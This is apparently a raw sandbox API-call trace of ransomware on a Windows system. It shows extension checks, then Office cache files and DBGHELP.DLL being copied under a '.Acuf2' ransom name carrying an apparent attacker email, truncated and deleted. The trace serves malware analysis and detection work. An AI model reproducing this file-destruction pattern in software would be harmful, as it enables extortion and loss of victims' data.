	[0055.108] lstrlenW (lpString=".xls") returned 4
	[0055.108] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0055.108] lstrlenW (lpString=".xlsx") returned 5
	[0055.108] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1
	[0055.108] lstrlenW (lpString=".ppt") returned 4
	[0055.108] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0055.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0055.108] lstrlenW (lpString=".zip") returned 4
	[0055.108] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0055.108] lstrlenW (lpString=".rar") returned 4
	[0055.108] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0055.108] lstrlenW (lpString=".bz2") returned 4
	[0055.108] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0055.108] lstrlenW (lpString=".7z") returned 3
	[0055.108] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0055.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0055.108] lstrlenW (lpString=".dbf") returned 4
	[0055.108] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0055.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0055.108] lstrlenW (lpString=".1cd") returned 4
	[0055.108] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0055.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0055.108] lstrlenW (lpString=".jpg") returned 4
	[0055.109] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0055.109] lstrcmpiW (lpString1=".exe", lpString2=".Acuf2") returned 1
	[0055.109] lstrlenW (lpString="ose.exe") returned 7
	[0055.109] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0055.753] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=174440) returned 1
	[0055.754] CloseHandle (hObject=0x184) returned 1
	[0055.754] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020
	[0055.754] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0055.754] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0055.754] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0055.754] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0055.754] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204
	[0055.755] GetLastError () returned 0x0
	[0055.755] ReadFile (in: hFile=0x184, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x310fed4*=0x2a968, lpOverlapped=0x0) returned 1
	[0055.760] WriteFile (in: hFile=0x204, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x310fc9c*=0x2a970, lpOverlapped=0x0) returned 1
	[0055.764] ReadFile (in: hFile=0x184, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0055.764] WriteFile (in: hFile=0x204, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x310fc9c*=0xe2, lpOverlapped=0x0) returned 1
	[0055.764] SetEndOfFile (hFile=0x204) returned 1
	[0055.764] CloseHandle (hObject=0x204) returned 1
	[0055.764] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0055.764] SetEndOfFile (hFile=0x184) returned 1
	[0055.766] CloseHandle (hObject=0x184) returned 1
	[0055.766] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0055.767] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1
	[0055.767] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0055.767] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0055.767] lstrlenW (lpString=".doc") returned 4
	[0055.767] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0055.767] lstrlenW (lpString=".docx") returned 5
	[0055.767] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1
	[0055.767] lstrlenW (lpString=".pdf") returned 4
	[0055.767] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0055.767] lstrlenW (lpString=".xls") returned 4
	[0055.767] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0055.767] lstrlenW (lpString=".xlsx") returned 5
	[0055.767] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1
	[0055.767] lstrlenW (lpString=".ppt") returned 4
	[0055.767] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0055.767] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0055.767] lstrlenW (lpString=".zip") returned 4
	[0055.767] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0055.767] lstrlenW (lpString=".rar") returned 4
	[0055.767] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0055.768] lstrlenW (lpString=".bz2") returned 4
	[0055.768] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0055.768] lstrlenW (lpString=".7z") returned 3
	[0055.768] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0055.768] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0055.768] lstrlenW (lpString=".dbf") returned 4
	[0055.768] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0055.768] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0055.768] lstrlenW (lpString=".1cd") returned 4
	[0055.768] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0055.768] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0055.768] lstrlenW (lpString=".jpg") returned 4
	[0055.768] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0055.768] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0055.768] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0055.768] lstrlenW (lpString=".doc") returned 4
	[0055.768] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0055.768] lstrlenW (lpString=".docx") returned 5
	[0055.768] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1
	[0055.768] lstrlenW (lpString=".pdf") returned 4
	[0055.768] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0055.768] lstrlenW (lpString=".xls") returned 4
	[0055.768] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0055.769] lstrlenW (lpString=".xlsx") returned 5
	[0055.769] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1
	[0055.769] lstrlenW (lpString=".ppt") returned 4
	[0055.769] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0055.769] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0055.769] lstrlenW (lpString=".zip") returned 4
	[0055.769] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0055.769] lstrlenW (lpString=".rar") returned 4
	[0055.769] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0055.769] lstrlenW (lpString=".bz2") returned 4
	[0055.769] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0055.769] lstrlenW (lpString=".7z") returned 3
	[0055.769] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0055.769] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0055.769] lstrlenW (lpString=".dbf") returned 4
	[0055.769] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0055.769] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0055.769] lstrlenW (lpString=".1cd") returned 4
	[0055.770] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0055.770] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0055.770] lstrlenW (lpString=".jpg") returned 4
	[0055.770] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0055.770] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Acuf2") returned 1
	[0055.770] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24
	[0055.770] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0055.770] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=715834) returned 1
	[0055.770] CloseHandle (hObject=0x184) returned 1
	[0055.770] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020
	[0055.771] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0055.771] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0055.771] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0055.771] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0055.771] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204
	[0055.771] GetLastError () returned 0x0
	[0055.771] ReadFile (in: hFile=0x184, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x310fed4*=0xaec3a, lpOverlapped=0x0) returned 1
	[0055.787] WriteFile (in: hFile=0x204, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x310fc9c*=0xaec40, lpOverlapped=0x0) returned 1
	[0055.996] ReadFile (in: hFile=0x184, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0055.996] WriteFile (in: hFile=0x204, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x310fc9c*=0x104, lpOverlapped=0x0) returned 1
	[0055.996] SetEndOfFile (hFile=0x204) returned 1
	[0057.021] CloseHandle (hObject=0x204) returned 1
	[0057.188] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0057.188] SetEndOfFile (hFile=0x184) returned 1
	[0057.194] CloseHandle (hObject=0x184) returned 1
	[0057.194] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0057.195] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1
	[0057.659] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0057.659] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0057.659] lstrlenW (lpString=".doc") returned 4
	[0057.659] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0057.659] lstrlenW (lpString=".docx") returned 5
	[0057.659] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0057.659] lstrlenW (lpString=".pdf") returned 4
	[0057.659] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0057.659] lstrlenW (lpString=".xls") returned 4
	[0057.659] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0057.659] lstrlenW (lpString=".xlsx") returned 5
	[0057.659] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0057.659] lstrlenW (lpString=".ppt") returned 4
	[0057.659] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0057.659] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0057.659] lstrlenW (lpString=".zip") returned 4
	[0057.659] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0057.659] lstrlenW (lpString=".rar") returned 4
	[0057.659] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0057.659] lstrlenW (lpString=".bz2") returned 4
	[0057.659] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0057.659] lstrlenW (lpString=".7z") returned 3
	[0057.659] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0057.659] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0057.659] lstrlenW (lpString=".dbf") returned 4
	[0057.659] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0057.660] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0057.660] lstrlenW (lpString=".1cd") returned 4
	[0057.660] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0057.660] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0057.660] lstrlenW (lpString=".jpg") returned 4
	[0057.660] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0057.660] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0057.660] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0057.660] lstrlenW (lpString=".doc") returned 4
	[0057.660] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0057.660] lstrlenW (lpString=".docx") returned 5
	[0057.660] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0057.660] lstrlenW (lpString=".pdf") returned 4
	[0057.660] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0057.660] lstrlenW (lpString=".xls") returned 4
	[0057.660] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0057.660] lstrlenW (lpString=".xlsx") returned 5
	[0057.660] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0057.660] lstrlenW (lpString=".ppt") returned 4
	[0057.660] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0057.660] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0057.660] lstrlenW (lpString=".zip") returned 4
	[0057.660] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0057.660] lstrlenW (lpString=".rar") returned 4
	[0057.660] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0057.660] lstrlenW (lpString=".bz2") returned 4
	[0057.660] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0057.660] lstrlenW (lpString=".7z") returned 3
	[0057.660] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0057.661] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0057.661] lstrlenW (lpString=".dbf") returned 4
	[0057.661] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0057.661] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0057.661] lstrlenW (lpString=".1cd") returned 4
	[0057.661] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0057.661] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0057.661] lstrlenW (lpString=".jpg") returned 4
	[0057.661] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0057.661] lstrcmpiW (lpString1=".DLL", lpString2=".Acuf2") returned 1
	[0057.661] lstrlenW (lpString="DBGHELP.DLL") returned 11
	[0057.661] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0059.859] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=1369952) returned 1
	[0059.859] CloseHandle (hObject=0x18c) returned 1
	[0059.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll")) returned 0x20
	[0059.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0059.860] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0059.860] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.860] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.860] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158
	[0059.860] GetLastError () returned 0x0
	[0059.860] ReadFile (in: hFile=0x18c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x310fed4*=0xffff0, lpOverlapped=0x0) returned 1
	[0059.885] WriteFile (in: hFile=0x158, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x310fc9c*=0xffff0, lpOverlapped=0x0) returned 1
	[0060.307] ReadFile (in: hFile=0x18c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x310fed4*=0x4e770, lpOverlapped=0x0) returned 1
	[0060.320] WriteFile (in: hFile=0x158, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x4e780, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x310fc9c*=0x4e780, lpOverlapped=0x0) returned 1
	[0060.328] ReadFile (in: hFile=0x18c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0060.328] WriteFile (in: hFile=0x158, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x310fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0060.329] SetEndOfFile (hFile=0x158) returned 1
	[0060.329] CloseHandle (hObject=0x158) returned 1
	[0060.329] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0060.329] SetEndOfFile (hFile=0x18c) returned 1
	[0060.332] CloseHandle (hObject=0x18c) returned 1
	[0060.332] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0060.333] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll")) returned 1
	[0060.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61
	[0060.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61
	[0060.333] lstrlenW (lpString=".doc") returned 4
	[0060.333] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0060.333] lstrlenW (lpString=".docx") returned 5
	[0060.333] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1
	[0060.333] lstrlenW (lpString=".pdf") returned 4
	[0060.333] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0060.333] lstrlenW (lpString=".xls") returned 4
	[0060.333] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0060.333] lstrlenW (lpString=".xlsx") returned 5
	[0060.333] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1
	[0060.333] lstrlenW (lpString=".ppt") returned 4
	[0060.333] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0060.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61
	[0060.333] lstrlenW (lpString=".zip") returned 4
	[0060.333] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0060.333] lstrlenW (lpString=".rar") returned 4
	[0060.333] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0060.333] lstrlenW (lpString=".bz2") returned 4
	[0060.333] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0060.333] lstrlenW (lpString=".7z") returned 3
	[0060.333] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0060.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61
	[0060.333] lstrlenW (lpString=".dbf") returned 4
